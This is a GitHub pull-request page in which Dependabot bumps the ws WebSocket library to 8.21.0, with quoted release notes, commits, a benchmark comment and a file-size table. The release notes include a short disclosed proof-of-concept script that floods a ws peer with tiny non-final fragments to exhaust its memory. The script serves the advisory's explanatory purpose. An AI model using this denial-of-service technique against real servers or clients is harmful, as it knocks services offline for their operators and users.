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chore(deps): bump ws from 8.17.1 to 8.21.0 in /libs/driver-adapters/executor - #5839

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aqrln merged 1 commit into
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dependabot/npm_and_yarn/libs/driver-adapters/executor/ws-8.21.0
Jul 23, 2026
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chore(deps): bump ws from 8.17.1 to 8.21.0 in /libs/driver-adapters/executor#5839
aqrln merged 1 commit into
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dependabot/npm_and_yarn/libs/driver-adapters/executor/ws-8.21.0

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@dependabot

@dependabot dependabot Bot commented on behalf of github Jul 14, 2026

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Bumps ws from 8.17.1 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

Commits
  • bca91ad [dist] 8.21.0
  • 2b2abd4 [security] Limit retained message parts
  • 78eabe2 [security] Add latest vulnerability to SECURITY.md
  • 5d9b316 [dist] 8.20.1
  • c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
  • ce2a3d6 [ci] Test on node 26
  • 58e45b8 [ci] Do not test on node 25
  • 5f26c24 [ci] Run the lint step on node 24
  • 8439255 [dist] 8.20.0
  • d3503c1 [minor] Export the PerMessageDeflate class and header utils
  • Additional commits viewable in compare view

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Bumps [ws](https://github.com/websockets/ws) from 8.17.1 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.17.1...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.21.0
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code labels Jul 14, 2026
@codspeed-hq

codspeed-hq Bot commented Jul 14, 2026

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Merging this PR will not alter performance

✅ 11 untouched benchmarks
⏩ 11 skipped benchmarks1


Comparing dependabot/npm_and_yarn/libs/driver-adapters/executor/ws-8.21.0 (2a8b0bf) with main (e922089)

Open in CodSpeed

Footnotes

  1. 11 benchmarks were skipped, so the baseline results were used instead. If they were deleted from the codebase, click here and archive them to remove them from the performance reports.

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Wasm Query Compiler File Size

Engine This PR Base branch Diff
Postgres 3.508MiB 3.508MiB 0.000B
Postgres (gzip) 1.143MiB 1.143MiB 1.000B
Postgres (size-optimized) 1.767MiB 1.767MiB 0.000B
Postgres (size-optimized, gzip) 695.607KiB 695.608KiB -1.000B
Mysql 3.461MiB 3.461MiB 0.000B
Mysql (gzip) 1.128MiB 1.128MiB 0.000B
Mysql (size-optimized) 1.737MiB 1.737MiB 0.000B
Mysql (size-optimized, gzip) 684.342KiB 684.342KiB 0.000B
Sqlite 3.378MiB 3.378MiB 0.000B
Sqlite (gzip) 1.099MiB 1.099MiB -52.000B
Sqlite (size-optimized) 1.693MiB 1.693MiB 0.000B
Sqlite (size-optimized, gzip) 667.394KiB 667.393KiB 1.000B
SQL Server 3.596MiB 3.596MiB 0.000B
SQL Server (gzip) 1.161MiB 1.161MiB -3.000B
SQL Server (size-optimized) 1.766MiB 1.766MiB 0.000B
SQL Server (size-optimized, gzip) 698.453KiB 698.453KiB 0.000B
CockroachDB 3.558MiB 3.558MiB 0.000B
CockroachDB (gzip) 1.162MiB 1.162MiB -66.000B
CockroachDB (size-optimized) 1.792MiB 1.792MiB 0.000B
CockroachDB (size-optimized, gzip) 705.556KiB 705.555KiB 1.000B

@aqrln
aqrln enabled auto-merge (squash) July 23, 2026 13:35
@aqrln
aqrln merged commit 6d040c8 into main Jul 23, 2026
98 of 99 checks passed
@aqrln
aqrln deleted the dependabot/npm_and_yarn/libs/driver-adapters/executor/ws-8.21.0 branch July 23, 2026 13:35
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